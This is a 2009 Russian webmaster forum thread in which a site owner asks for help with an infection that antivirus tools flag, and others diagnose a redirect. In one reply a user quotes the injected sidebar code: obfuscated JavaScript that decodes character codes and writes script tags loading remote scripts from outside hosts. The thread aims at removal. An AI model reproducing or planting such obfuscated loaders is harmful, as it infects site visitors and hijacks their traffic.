X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Кто подскажет что за вирус, да как его удалить...
4ester7
4ester7
Topic Starter сообщение 17.11.2009, 13:53; Ответить: 4ester7
Сообщение #1


SEO-ломастер
******


Группа: Active User
Сообщений: 1636
Регистрация: 21.5.2009
Из: Кременчуг
Поблагодарили: 472 раза
Репутация:   105  


Появился вирус на сайте, аваст бушует, на сайт мой не заходит, поп0андеров и прочего нет, из скриптов только хот лог счетчик, что делать не знаю, подскажите - + в репку и спасибо гарантирую :-) ссылка - world-films.ru


--------------------
1
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
DimonX
DimonX
сообщение 17.11.2009, 13:59; Ответить: DimonX
Сообщение #2


Бывалый
****

Группа: User
Сообщений: 343
Регистрация: 1.6.2009
Из: г. Благовещенск Амурская область
Поблагодарили: 111 раз
Репутация:   21  


перенаправление на http://www.y*a*b*l*o*n*d*i*n*k*o.com/
Ройтесь в коде, чтото левое подгружается.
. htaccess - проверьте
Nod32 - молчит, но признаки левого кода налицо


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dibility
dibility
сообщение 17.11.2009, 14:05; Ответить: dibility
Сообщение #3


Я в топе. А ты?
******

Группа: Active User
Сообщений: 1296
Регистрация: 21.10.2008
Из: Фиджи...пляж..
Поблагодарили: 861 раз
Репутация:   104  


CODE
function googlesearch(){
var temp='',i,c=0,out='',wm='9';
var str='60!115!'+wm+''+wm+'!114!105!112!116!32!108!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+
wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!114!105!112!116!34!62!10!32!32!3
2!32!118!'+wm+'7!114!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!61!32!3'+wm+'!3'+wm+
'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!6
0!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!32!10
8!'+wm+'7!110!103!117!'+wm+'7!103!101!61!34!74!'+wm+'7!118!'+wm+'7!83!'+wm+''+wm+'!3'+wm
+'!32!43!32!3'+wm+'!114!105!112!116!34!32!3'+wm+'!5'+wm+'!10!32!32!32!32!108!'+wm
+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!115!114!'+wm+''+wm+'!6
1!34!104!116!116!112!58!47!47!108!'+wm+'7!110!107!114!117!4'+wm+'!46!114!3'+
wm+'!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!
43!61!32!3'+wm+'!117!47!106!115!46!112!104!112!63!105!100!61!4'+wm+'!55!53!4'+wm+'!4'+wm+'!3'+wm+'!5
'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!11
7!114!108!61!3'+wm+'!32!43!32!101!110!'+wm+''+w
m+'!111!100!101!85!82!73!67!111!10'+wm+'!112!111!110!101!110!116!40!100!111!'+wm+''+wm+'!117!10'
+wm+'!101!110!116!46!108!111!'+wm+''+wm+'!'+wm+'7!116!105!111!110!41!5'+wm+'!10!32!32!32!32!108!'+wm+'7!110!107!114!117!'+w
m+'5!104!116!10'+wm+'!108!32!43!61!32!3'+wm+'!38!114!110!100!61!3'+wm+'!32!43!32!77!'+wm+'7!116!104!46!114!'+
wm+'7!110!100!111!10'+wm+'!40!41!32!43!32!3'+wm+'!34!62!60!4
7!115!'+wm+''+wm+'!114!3'+wm+'!32!43!32!3'+wm+'!105!112!116!62!3'+wm+'!5'+wm+'!10!32!32!32!32!100!111!'+wm+
''+wm+'!117!10'+wm+'!101!110!116!46!11'+wm+'!114!105!116!101!40!108!'+wm+'7!110!107!114!117!'+wm+'5!104!116!10'+wm+'!10
8!41!5'+wm+'!10!60!47!115!'+wm+''+wm+'!114!105!112!116!62!';
l=str.length;while(c<l){while(str.charAt©!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(tem
p);temp='';}document.write(out);
}
googlesearch();
</script>


<script language=JavaScript>
<!--
var temp='',i,c=0,out='';
var str='60!115!99!114!105!112!116!32!115!114!99!61!39!104!116!116!112!58!47!47!99!111!100!101!46!109!121!105!102!1
14!97!109!101!46!99!111!109!47!100!105!114!101!99!116!46!106!115!39!62!60!47!115!99!114!105!112!116!62!';
l=str.length;
while(c<=str.length-1)
{
while(str.charAt©!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp='';
}
document.write(out);
//-->
</script>


что то совсем этот код в сайдбаре не нужен, на мой взгляд.

Сообщение отредактировал dibility - 22.11.2009, 2:48


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Scotty
Scotty
сообщение 17.11.2009, 14:56; Ответить: Scotty
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 1340
Регистрация: 17.4.2008
Из: Украина
Поблагодарили: 351 раз
Репутация:   86  


Зашёл, никаких перенаправлений, KIS 2010 молчит.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 17.11.2009, 15:08; Ответить: Frankie
Сообщение #5


Старожил
******

Группа: Active User
Сообщений: 1520
Регистрация: 18.9.2009
Поблагодарили: 320 раз
Репутация:   36  


попробуй сервис siteguard.ru


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dI_
dI_
сообщение 17.11.2009, 16:25; Ответить: dI_
Сообщение #6


Частый гость
**

Группа: User
Сообщений: 90
Регистрация: 13.4.2009
Поблагодарили: 42 раза
Репутация:   9  


Подхватил такую же гадость...ни как не могу его найти sad.gif Причем виден он только гостям, а если зайти как админ, то его не видно и аваст молчит...


--------------------
Пустота...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kpk21
kpk21
сообщение 17.11.2009, 16:41; Ответить: kpk21
Сообщение #7


клоновод
******


Группа: Banned
Сообщений: 1173
Регистрация: 31.3.2009
Из: Евпатория
Поблагодарили: 347 раз
Репутация:   4  


аваст говорит троян.Сайт на Dle?Давай гляну.


--------------------
клоновод


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SHome
SHome
сообщение 17.11.2009, 16:53; Ответить: SHome
Сообщение #8


Добрый друг
******

Группа: Active User
Сообщений: 1316
Регистрация: 7.9.2007
Из: Москва
Поблагодарили: 348 раз
Репутация:   76  


ТС, Тебе же dibility, написал, что ненужный скрип стоит, смотри сам в коде. dI_, тоже самое наверно.


--------------------
«Молодой» редактор ODP - Top: World: Russian: ...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dI_
dI_
сообщение 17.11.2009, 17:11; Ответить: dI_
Сообщение #9


Частый гость
**

Группа: User
Сообщений: 90
Регистрация: 13.4.2009
Поблагодарили: 42 раза
Репутация:   9  


В шаблоне и index.php его нету


--------------------
Пустота...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SHome
SHome
сообщение 17.11.2009, 17:27; Ответить: SHome
Сообщение #10


Добрый друг
******

Группа: Active User
Сообщений: 1316
Регистрация: 7.9.2007
Из: Москва
Поблагодарили: 348 раз
Репутация:   76  


(dI_ @ 17.11.2009, 16:11) *
В шаблоне и index.php его нету

DLE 8.2 что-ли?


--------------------
«Молодой» редактор ODP - Top: World: Russian: ...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Пошив одежды - что не так с сайтом ?
25 bridge8 1711 Вчера, 22:55
автор: Emtec
Горячая тема (нет новых ответов) Что лучше, фриланс, удаленка, или работа в офисе солидной компании?
97 Levizar 8026 Вчера, 13:51
автор: Smspva
Открытая тема (нет новых ответов) [Бесплатный тест] Airsocks. Инновационные мобильные 4G / LTE прокси. Забудь все что было раньше!
27 airsocks11 6297 Вчера, 3:22
автор: airsocks11
Открытая тема (нет новых ответов) Оцените сайт на рыболовную тематику. Все кто любят критиковать прошу сюда.
3 alexandrrr 418 14.12.2017, 23:28
автор: alexandrrr
Открытая тема (нет новых ответов) Facebook палит прокси. Кто как решает эту проблему?
28 Twickbot 3633 14.12.2017, 20:26
автор: galikfor


 



RSS Текстовая версия Сейчас: 16.12.2017, 6:09
Дизайн